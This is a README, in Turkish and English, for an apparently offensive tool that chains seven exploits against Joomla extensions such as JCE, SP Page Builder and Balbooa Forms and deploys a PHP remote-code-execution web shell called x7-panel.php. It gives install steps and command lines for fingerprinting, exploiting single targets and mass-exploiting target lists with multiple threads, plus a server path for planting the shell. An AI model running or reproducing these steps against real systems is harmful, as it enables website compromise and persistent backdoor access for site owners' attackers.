CVE-2026-87930

---

📌 Özet

Joomla Multi-CVE Suite — 7 zafiyet modülü + x7-panel.php deploy

CVE	Eklenti
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

Suite otomatik zincir çalıştırır; tek modül için --cve kullan.

📦 Kurulum

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

Dosya	Görev
winrarzips_brand.py	CMD banner (by winrarzips)
joomla_exploits.py	7-CVE exploit modülleri
CVE-2026-Joomla-Suite.py	Batch + tek hedef CLI
payloads/x7-panel.php	RCE panel
requirements.txt	Bağımlılıklar

❌ Hedef listesi, tarama sonucu ve panel URL'leri repo'da yok.

🎯 Tek hedef

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Toplu (kendi listende)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

Joomla < 5.2.2 hedeflerde sunucu yolu gerekir:

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---

📌 Summary

Joomla Multi-CVE Suite — 7 vulnerability modules + x7-panel.php deploy

CVE	Extension
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

The suite runs an auto chain by default; use --cve for a single module.

📦 Setup

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

File	Role
winrarzips_brand.py	CMD banner (by winrarzips)
joomla_exploits.py	7-CVE exploit modules
CVE-2026-Joomla-Suite.py	Batch + single-target CLI
payloads/x7-panel.php	RCE panel payload
requirements.txt	Dependencies

❌ Target lists, scan results and live panel URLs are not included.

🎯 Single target

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Batch (your own list)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

For Joomla < 5.2.2 targets, provide server path:

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---